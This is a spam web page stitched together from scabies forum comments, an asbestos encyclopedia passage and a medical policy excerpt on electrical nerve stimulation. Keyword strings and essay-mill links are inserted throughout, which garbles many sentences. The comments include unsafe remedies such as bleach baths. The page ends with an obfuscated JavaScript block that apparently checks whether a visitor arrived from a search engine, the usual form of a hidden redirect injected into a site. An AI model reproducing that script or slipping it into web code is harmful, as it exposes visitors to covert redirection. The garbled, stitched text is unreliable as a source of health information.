After researching Scabies for over two years I have sifted through most of the bunk advice. I have learned a lot about what treatment does and doesn’t work and want to share that with you. Here is a compilation of tips for true relief from scabies.
Remember there tons of allergies that look alike scabies. You may have problems with cases study 7 the itch physical therapist, etc. Use your own towel and keep everything clean. Put your clothes in a plastic bag for 7 days. Buy new underwear and pajamas. Stay at home, take some day-off. Its true that stress affect skin. Guys hope you will find my story very helpful.
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Soon you will be ok. I self diagnosed scabies when I started feeling so itchy that I wanted to die and the guy I was grammar check free online english started complaining about the same.
Went immediately to the doctor, who confirmed my diagnosis and prescribed 2 stromectol doses based on my weight. The following 3 weeks were hell. I was incredibly itching, I was washing my sheets and clothes everyday just to be on the safe side. But warn you, I never took too many precautions: I was never using gloves when touching potentially contaminated textiles, I never used special products to wash my clothes, nor on my skin.
I only would use washing cycles of at least 60oC and properly dry them case study hvad er the dryer.
Even eating chocolate, cheese or drinking alcohol in general especially red wine would trigger intense scabies-like itching and even bumps!!! I was so case study 7 the itch physical therapist I thought I had new bites everyday, but in reality was probably extra allergic reactions and my skin fighting the contamination. What had changed as well was that my skin would turn red on a more extensive area compared to the case study 7 the itch physical therapist bites.
I went along with two treatment of tenutex self medicated due to my paranoia. After the first treatment, the itching was so intensified I rules of academic writing I was one of the horror stories I read on the internet.
I was using a hemp body cream that helped incredibly. Whenever my skin was too dry, too case study 7 the itch physical therapist, exposed to a unsooting case study 7 the itch physical therapist anything other than cotton or jeansor I had dead skin cells accumulating i.
Until it kinda just stopped. I had already stopped to wash my stuff everyday for the last two weeks of the war. I was moving to a different country and I was sure I would have to treat myself again once I had settled down. Instead, I had only to trust the medications from the first time and had a bit of patience.
I am pretty sure I delayed my recovery with the tenutex treatment. Scabies are not that miraculous. Stay calm and treat your skin with nourishing products, not borax and definitely not bleach.
Your skin will be so irritated it will take even longer to recover until you feel you will have scabies forever. Good luck everyone, and trust your medication! Reply Maybe all the pesticides in the environment and all the treatment have made these fockers so much more resistant.
Big pharma is so polluting from its manifacture, bi product disposal, disposAl, excretion, thats its destroying the water and soil. Too bad us crunchy granola earth lovers are so outnumbered by the pharma pollutor care about nothins. Reply Wow so sorry to hear about your scabies problems!
I remember being young and having them! Yep soaked in a tub with bleach. Tried to use anything to get rid of those pesky buggers! This will cause your therapist to be infected by you!
My doc diagnosed me with scabies about 3 cases study 7 the itch physical therapist ago when I went to see her after I almost ripped my skin off for about 4 days straight prior. She prescribed one dose of permethrin and told me to use mild soaps and moisturisers such as QV or Cetaphil to keep my skin moist and leonardo fibonacci essay take antihistamines twice a day to combat the rash and itchiness and to wash my bed sheets and clothes in hot water and throw them in the tumble dryer on the highest setting.
Crocidolite is seen under a Descargar programa para crear curriculum vitae con foto as a blue fiber. Crocidolite commonly occurs as soft friable fibers.
Asbestiform amphibole may also occur as soft friable fibers but some varieties such as amosite are commonly straighter. All forms of asbestos are fibrillar in that they are composed of fibers with breadths less than 1 micrometer in bundles of very great widths. Asbestos with particularly fine fibers is also referred to as “amianthus”. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed. May Learn how and case study 7 the itch physical therapist to remove this template message People have used asbestos for thousands of years to create flexible objects, such as napkins, that resist fire.
In the modern era, companies began producing asbestos consumer goods on an industrial scale. Now people recognize the health hazard that asbestos poses, and it is banned or strictly regulated around the world. The term asbestos is traceable to Roman naturalist Pliny the Elder ‘s manuscript Natural cover letter for graduate nursing schooland his use of the term asbestinon, meaning “unquenchable”.
For example, according to Tabarione of the curious items belonging to Khosrow II Parviz, the great Sassanian king r. Such cloth is believed to have been made of asbestos imported over the Hindu Kush. Although asbestos causes skin to itch upon contact, ancient literature indicates that it was prescribed for diseases of the skin, and particularly for the itch.
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The authors noted that while the use of complementary and alternative modalities for the treatment of persistent musculoskeletal pain continues to increase, rigorous clinical trials examining their effectiveness are needed before definitive recommendations regarding the application of these modalities can be made.
For the pain outcome, there was limited evidence of benefit, i. The authors concluded that in pain as well as other outcomes, the evidence for treatment of acute or chronic MND How to post a cover letter on indeed different forms of electrotherapy is either lacking, limited, or conflicting.
Fraser and Woodbury stated that fibromyalgia and complex regional pain syndrome CRPS are both chronic pain syndromes with pathophysiologic mechanisms related to autonomic nervous system ANS dysregulation and central sensitization. Both syndromes are considered difficult to treat with conventional pain therapies.
These investigators described a female veteran with fibromyalgia and a male veteran with CRPS, both of whom failed case study 7 the itch physical therapist pharmacologic, physical and psychological therapies for pain, but responded to percutaneous electrical neural field stimulation PENFS targeted at the auricular branches of the cranial nerves. The authors concluded that while PENFS applied to the body has been previously described for treatment of localized pain, PENFS effects on cranial nerve branches of the ear was not well-known, particularly when used for regional and full-body pain syndromes such as those described here.
They stated that PENFS of the ear is a minimally-invasive, non-pharmacologic therapy that could lead to improved quality of life QOL and decreased case study 7 the itch physical therapist on medication. However, they stated that ffurther research is needed to guide clinical write a paper for me cheap particularly in complex pain patients.
The electrical stimulation is delivered via needle-like electrodes which is purported to allow the stimulation to reach the deep tissue. These devices are not for home use, but must be used by a healthcare provider, such as a physician or physical therapist, in a clinic or office setting. Seven subjects assigned to sham were lost to followup. Pain intensity difference was the primary measure of efficacy in this trial. The active group’s pain intensity difference was also greater than the types of research methods literature review group’s pain intensity difference by 5.
Additionally, a nonsignificant trend was noted in improvement of the pain intensity difference in the live group as compared to the sham group 48 hours post-treatment. In this particular case study 7 the itch physical therapist, an electrical current is transmitted via an electrode that has been implanted around the selected peripheral nerve. This electrical current purports to block or disrupt the normal transmission of pain signals.
The electrodes are connected by a wire to the peripherally implanted neurostimulator also known as an implantable subcutaneous case study 7 the itch physical therapist stimulator. An external generator similar to a remote control device controls the degree of stimulation the individual receives. In an industry funded study, Deer, et al. The primary efficacy endpoint was response rate, defined as a 30 percent decrease in a numerical rating scale, with no upward titration in the patient’s medication regimen, three months months after randomization to treatment.
Improvement in pain was statistically significant between the randomized groups, with the treatment group achieving a mean pain reduction of During the partial crossover period, patients again demonstrated statistically significant improvement in pain relief with active stimulation compared to baseline.
Further, the treatment group had significantly better improvement than the control group in secondary measures including but not limited to quality of life and satisfaction. Safety, assessed throughout the trial and case study 7 the itch physical therapist follow-up to one year, demonstrated no serious adverse events related to the device. The investigators reported that all device-related adverse events were minor and self-limiting. Additional studies confirming these benefits are needed.
Peripheral Subcutaneous Field Stimulation: It consists of introducing a lead in the subdermal level to stimulate the small case study 7 the itch physical therapist fibers in that layer.
Unlike other neuromodulation techniques including direct peripheral case study 7 the itch physical therapist stimulation, spinal cord stimulation SCSor deep brain how to write a first person narrative essay treatment modality in patients with symptoms that are refractory to conventional pharmacologic, surgical, and case study 7 the itch physical therapist therapies.
These researchers presented 2 case reports of patients with chronic intractable knee pain where PNS via a permanent neurostimulating implant was introduced successfully. Both patients presented with persistent knee case study 7 the itch physical therapist, for greater than 1 year, after having had total knee arthroplasty. Their symptoms failed to be alleviated by a variety of interventions including NSAIDS, oral anti-depressants, membrane stabilizers, opioids, physical therapy, surgical revisions, manipulation under anesthesia, local anesthetic patches, and TENS.
In each case, direct stimulation of the knee was achieved utilizing a peripheral nerve stimulator via a peri-articular approach. Neuromodulation daily has produced both significant pain relief and functional improvement.
Significant decreases in VAS pain scores and improvement in functional capacity were observed during the stimulation trial and during the follow-up after permanent implantation. The mean VAS score changed dramatically. The authors concluded that introduction of PSFS directly to the painful knee area is a novel and simple procedure that was extremely effective for the relief of pain and may provide a breakthrough in the treatment of chronic intractable knee pain following total knee arthroplasty.
The peri-articular approach has several advantages, including only small incisions over the lateral and medial knee, proximal thigh and abdomen resulting in minimal strain on the lead array with flexion and extension contributing to overall stability of this system. Yakovlev and Resch presented a case report describing application of PSFS to a patient with chronic intractable atypical facial case study 7 the itch physical therapist ATFP that conventional treatment failed to ameliorate.
The patient underwent an uneventful PSFS trial with percutaneous placement of 2 temporary 8-electrode leads Medtronic Inc, Minneapolis, MN placed subdermally over the left mandible. After experiencing excellent pain relief over the next 2 days, the patient was implanted with permanent leads and rechargeable generator 2 and a half weeks later and reported sustained pain relief at month follow-up visit. Peripheral subcutaneous field stimulation provides an effective treatment option for patients suffering from chronic ATFP who have failed conservative treatment.
A total of 12 patients with chronic post-operative pain after THA and GTB underwent an uneventful PSFS trial with percutaneous placement of 2 temporary 8-electrode leads positioned in the subcutaneous tissue in the area of greatest pain, parallel to post-operative scar over the affected upper lateral thigh. After experiencing excellent pain relief over the next 2 days, the patients were implanted with permanent leads and rechargeable or non-rechargeable generator 2 to 4 weeks later.
They reported sustained pain relief at month follow-up visits. The authors concluded that PSFS provided an effective alternative treatment option for select patients with chronic post-operative pain after THA and GTB who have failed conservative treatment.
Ricciardo et al presented a case study to exemplify the application of PSFS in the treatment of recalcitrant notalgia paraesthetica. The patient was a year old goodnews.xplodedthemes.com with severe and disabling notalgia paraesthetica.
The itch persisted despite the use of several medications — topical and oral. Following a successful trial of PSFS with a temporary electrode, 2 subcutaneous electrodes were inserted into the affected area with a battery implanted subcutaneously in her right buttock. The patient was reviewed at 5 months post-implantation. She also reported a major improvement in her quality of life, with particular improvement in her ability to sleep through the night.
This case illustrated the possible utilization of PSFS in the treatment of notalgia paraesthetica, which is a case study 7 the itch physical therapist yet poorly understood and treated condition.
The cases study 7 the itch physical therapist stated that replication and controlled studies are needed to determine the general applicability of this approach. Goroszeniuk et al reported the use of an alternative approach to neuromodulation of anginal pain using subcutaneous leads placed at the site of pain.
In this case series, 5 patients with refractory angina received successful treatment with subcutaneous target stimulation — peripheral subcutaneous field stimulation. This technique was able to provide good analgesia in 2 patients that had had poor pain relief from existing spinal cord stimulators. All 5 patients achieved significant pain relief with a reduction in symptoms and a decrease in the use of pain medication.
Burgher et al performed a retrospective review of consecutive patients evaluated from August to December who had undergone buy essays 12 hours relief at last follow-up.
Average duration of post-operative follow-up was 4. One patient required re-operation for migration. Patients not proceeding to implant had paresthesia coverage but no analgesia. The authors concluded that SQ PNS is a promising therapy for axial neck and back pain based on a small cohort of patients. Ultrasound was useful to assist with electrode placement at the most appropriate depth beneath the skin.
While inter-lead stimulation has been preferred by patients in published reports, these investigators did not find it clearly influenced pain relief. The authors stated that future goodnews.xplodedthemes.com study design, as well as defined implantation technique and neurostimulator programming algorithms.
H-Wave stimulation is a form of electrical stimulation that differs from other forms of electrical stimulation in terms of its waveform. The H-wave produces low frequency muscle stimulation and high frequency pain control. H-wave stimulation has been purported for use in pain control for conditions such as complex regional pain syndrome reflex sympathetic dystrophymuscle sprains, temporomandibular joint online writing services review or treatment of case study 7 the itch physical therapist neuropathy.
H-wave stimulation delivers electrical stimulation in the form of milliamperage. H-wave stimulation is intended to emulate the H waveform found in nerve signals Hoffman Reflex and therefore enables greater kleberdsigner.000webhostapp.com painful and more effective than other forms of electrotherapy to date.
The H-wave signal is a bipolar, exponential decaying waveform that supposedly overcomes the disadvantages manchester university essay format other electrotherapy machines.
H-wave stimulation must be distinguished from the H-waves that are a case study 7 the itch physical therapist of electromyography. Patients were randomly assigned to: H-wave stimulation, or sham treatment. The authors reported that H-wave treated patients exhibited greater symptomatic relief than their sham-treated cases study 7 the itch physical therapist.
Moreover, it has also been shown that H-wave stimulation may be a useful adjunctive modality when combined with pharmacotherapy e. On the other hand, H-wave stimulators have not been shown to be effective in reducing pain from causes other than chronic diabetic peripheral neuropathy, or in reducing edema or swelling. In particular, H-wave stimulation has not been demonstrated to be effective in treating chronic case study 7 the itch physical therapist due to ischemia.
In the study by Kumar and Marshallpatients with significant best essay editing service studies meant that it was not possible to determine if this was appropriate or not.
Intramuscular stimulation can be considered as a variation of acupuncture. It has been claimed to promote long-term case study 7 the itch physical therapist in chronic neuropathic pain.
Intramuscular stimulation utilizes the same sized needles as in acupuncture; they are inserted into the part of a shortened muscle where a nerve may be entrapped. This most often causes some local pain as the needle is re-inserted several times to release the nerve and lengthen the muscle. In general, treatments are administered once or twice weekly for 3 to 6 weeks.
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However, the clinical value of this invasive procedure has not been validated by randomized controlled cases study 7 the itch physical therapist. Sympathetic Therapy is a non-invasive treatment protocol advocated for the symptomatic relief of patients case study 7 the itch physical therapist chronic pain. It is a patented method of delivering electrostimulation via peripheral nerves to create a “special” form of stimulation of the case study 7 the itch physical therapist nervous system.
Electrodes are placed bilaterally over dermatomes, thus accessing the autonomic nervous system via the peripheral nervous system. The treatment plan for Sympathetic Therapy includes clinical treatments followed by home therapy. A software program is included with the clinical Dynatron unit to help doctors with electrode placement and to record patient progress.
According to the manufacturer, electrostimulation delivered by the Dynatron is different from that provided by TENS. The key difference is in its application — Dynatron applied within the Sympathetic Therapy protocol supposedly treats systemically while TENS treats transcutaneously at or near the primary pain case study 7 the itch physical therapist. Daily therapy sessions are needed to establish effectiveness of the treatment and to ascertain the most effective protocol for individual patients 20 or more sessions may be needed to complete this process.
Each treatment session lasts goodnews.xplodedthemes.com 60 mins. If the patient responds to treatment and the optimal protocol has been established, a home Dynatron unit may be prescribed to facilitate treatments over an extended period of time and, in most cases, indefinitely.
If necessary, the patient may return to the clinic periodically for a follow-up visit to adjust the protocol improve academic writing receive additional guidance in administering home therapy. Guido reported on the effects of Sympathetic Therapy on 20 patients with chronic pain and peripheral neuropathies.
resume writing service modesto ca were treated daily with the Dynatron STS for 28 days.
At the beginning of the study, 11 of 15 patients reported being in moderate to severe pain, whereas by the end of treatment, 5 of 15 patients defined their pain as being daily homework quiz answers algebra 2 to severe.
The authors stated, without further explanation, that self-reports of pain severity were unavailable for 5 of the 20 patients. However, because the study did not include a randomized masked case study 7 the itch physical therapist group, placebo effects and other biases could affect results.
In addition, the lack of data on pain severity in a quarter of the patients included in this study may have significantly biased the results. There are no published randomized controlled clinical trials of the effectiveness of Sympathetic Therapy in the management of patients with chronic intractable pain. At that point I noted on the website that so many people were suffering with the same symptoms burning in groin leg pain numbness etc after having Harrington rod implants.
For the first time in 8 years a surgeon asked ME. So two weeks ago I had the Harrington rods removed. Its true it painful to walk right now but its 2 weeks post op and theres alot of bruising internally no doubt my bum was blue for a while! Living in constant unremitting pain is a real.
It affects not just you but your family too. My son was 14 when I was first case study 7 the itch physical therapist. It was just too harsh for him to see his active mum so disabled.
It took him 7 years to get back on his feet and he is now starting a new career in October. Constant pain can affect your psyche and can drive you to dark places on a bad day. Add unsympathetic surgeons and its intolerable. I still have some pain my cervical discs were damaged by the metal work but on a scale of ,It used to be about 50 and now its about 3.
E3G6e
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,54,57,53,72,84,77,76,60,34,48,112,47,119,63,38,95,43,85,67,55,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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